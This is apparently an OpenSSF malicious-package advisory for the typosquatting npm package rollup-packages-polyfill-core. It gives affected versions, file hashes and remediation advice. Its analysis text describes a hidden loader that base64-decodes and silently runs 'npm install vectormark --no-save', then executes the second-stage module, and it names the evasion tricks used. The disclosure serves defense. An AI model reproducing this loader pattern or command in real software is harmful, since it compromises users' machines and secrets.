MAL-2026-10160Malicious code in rollup-packages-polyfill-core (npm)
| 版本 | 状态 | 大小 | SHA-256 | 获取方式 |
|---|---|---|---|---|
0.13.7 | unavailable | — | — | — |
0.13.8 | unavailable | — | — | — |
| Ecosystem | Package | Version |
|---|---|---|
| npm | rollup-packages-polyfill-core | * |
| npm | rollup-packages-polyfill-core | 0.13.4 |
| npm | rollup-packages-polyfill-core | 0.13.5 |
| npm | rollup-packages-polyfill-core | 0.13.6 |
| npm | rollup-packages-polyfill-core | 0.13.7 |
| npm | rollup-packages-polyfill-core | 0.13.8 |
| npm | rollup-packages-polyfill-core | 0.13.9 |
| npm | rollup-packages-polyfill-core | 0.14.0 |
| npm | rollup-packages-polyfill-core | 0.14.1 |
{"schema_version":"1.7.4","id":"MAL-2026-10160","published":"2026-07-10T16:56:40Z","modified":"2026-08-23T03:27:43.876560264Z","aliases":["GHSA-vw6c-rv4h-v5pw"],"summary":"Malicious code in rollup-packages-polyfill-core (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (2dfdfbd2fc737f9d78ec40aac8b7020866cb0ef0e7e14b2d95aa174ea0ec5818)\nOn require of the main entry `dist/index.js`, the module decodes a base64 literal to the shell command `npm install vectormark --no-save --silent --no-audit --no-fund` and spawns it with `stdio: 'ignore'`. It then decodes a second base64 literal to the string `vectormark`, `require`s that dynamically-installed module, and immediately invokes `svgo.getPlugin()()`, executing arbitrary code from the second-stage package. The install target is unpinned and installed with `--no-save`, so the dropped code is not recorded in the consumer's lockfile. Both the shell command and the target module name are stored as base64 strings (`Buffer.from(..., 'base64').toString('utf8')`) to hide them from static review. The package name `rollup-packages-polyfill-core` typosquats the legitimate `rollup-plugin-polyfill-node`, whose repository it also declares.\n\n## Source: ghsa-malware (9b4d6b267c6acf02bfba1366c8d1fe3e3285f2fd492a34d2c499e33d7d2efcff)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"rollup-packages-polyfill-core","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["0.13.8","0.13.7","0.14.1","0.13.9","0.14.0","0.13.5","0.13.6","0.13.4"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"dist/index.js","sha256":"d436a1392d9a78b6792b39df873ff6dac785557eb8d306adc2089ed3501aab0a","tlsh":"f981552614f679551373b2ec5587ec71397b9393338ccb507e2c83709fa20289a72ae5"}],"package_integrity":[{"filename":"rollup-packages-polyfill-core-0.13.8.tgz","hashes":{"sha1":"7ce89074c953a6d60b4068615c72fbfc857b623d","sha512_sri":"sha512-gU3kBACcGmOHHWWqNUuLzGwItIUW92jOXzyMgyaJDxmK3gIuGYvn7wspEkvybXcJavFpGwgs1ctF3lQ2uwds0w=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/rollup-packages-polyfill-core/v/0.13.8"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/rollup-packages-polyfill-core/v/0.13.7"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/rollup-packages-polyfill-core/v/0.14.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/rollup-packages-polyfill-core/v/0.13.9"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/rollup-packages-polyfill-core/v/0.14.0"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-vw6c-rv4h-v5pw"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/rollup-packages-polyfill-core/v/0.13.5"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/rollup-packages-polyfill-core/v/0.13.6"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/rollup-packages-polyfill-core/v/0.13.4"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-009674","import_time":"2026-07-10T17:10:16.43384206Z","modified_time":"2026-07-10T16:57:07Z","sha256":"69da81410d062733108728b42feb333d2f561f811a9c671664150cd026b12221","source":"amazon-inspector","versions":["0.13.8"]},{"id":"IN-MAL-2026-009671","import_time":"2026-07-10T17:10:16.305545446Z","modified_time":"2026-07-10T16:56:40Z","sha256":"96f2a7710da85018d31f24bd4bfc5d10b25b439bc37b81eca966f761fab0c2e1","source":"amazon-inspector","versions":["0.13.7"]},{"id":"IN-MAL-2026-010882","import_time":"2026-07-28T14:19:57.30513996Z","modified_time":"2026-07-28T13:31:16Z","sha256":"f89a5205cfb702df5a1481b6a3eadb64da36c695b13b42686a87b0f17035a46d","source":"amazon-inspector","versions":["0.14.1"]},{"id":"IN-MAL-2026-014921","import_time":"2026-08-05T14:19:43.154421351Z","modified_time":"2026-08-05T13:11:56Z","sha256":"2dfdfbd2fc737f9d78ec40aac8b7020866cb0ef0e7e14b2d95aa174ea0ec5818","source":"amazon-inspector","versions":["0.13.9"]},{"id":"IN-MAL-2026-014918","import_time":"2026-08-05T14:19:42.885503404Z","modified_time":"2026-08-05T13:11:33Z","sha256":"32e7813eae65ec25803d2163fbfcf3c05901e7197025d5ebc54a688d19e726cd","source":"amazon-inspector","versions":["0.14.0"]},{"id":"GHSA-vw6c-rv4h-v5pw","import_time":"2026-08-21T12:26:03.500137684Z","modified_time":"2026-08-21T12:23:27Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"9b4d6b267c6acf02bfba1366c8d1fe3e3285f2fd492a34d2c499e33d7d2efcff","source":"ghsa-malware"},{"id":"IN-MAL-2026-018548","import_time":"2026-08-23T03:25:54.149562821Z","modified_time":"2026-08-23T03:11:36Z","sha256":"391335b48005ba6841c9f57fb0940155334d0259010ce46714da685a77c67b29","source":"amazon-inspector","versions":["0.13.5"]},{"id":"IN-MAL-2026-018551","import_time":"2026-08-23T03:25:54.435491343Z","modified_time":"2026-08-23T03:12:04Z","sha256":"b90a0703bd52c4c4c8d51488944855cb03be1a1e1c6b769d04135ea6cc3dec43","source":"amazon-inspector","versions":["0.13.6"]},{"id":"IN-MAL-2026-018546","import_time":"2026-08-23T03:25:53.97205078Z","modified_time":"2026-08-23T03:11:21Z","sha256":"bfe3556b46f99844468a8da34661086b69d11872929c010dd47e713d03d9996b","source":"amazon-inspector","versions":["0.13.4"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}数据来源:OpenSSF Malicious Packages · Apache-2.0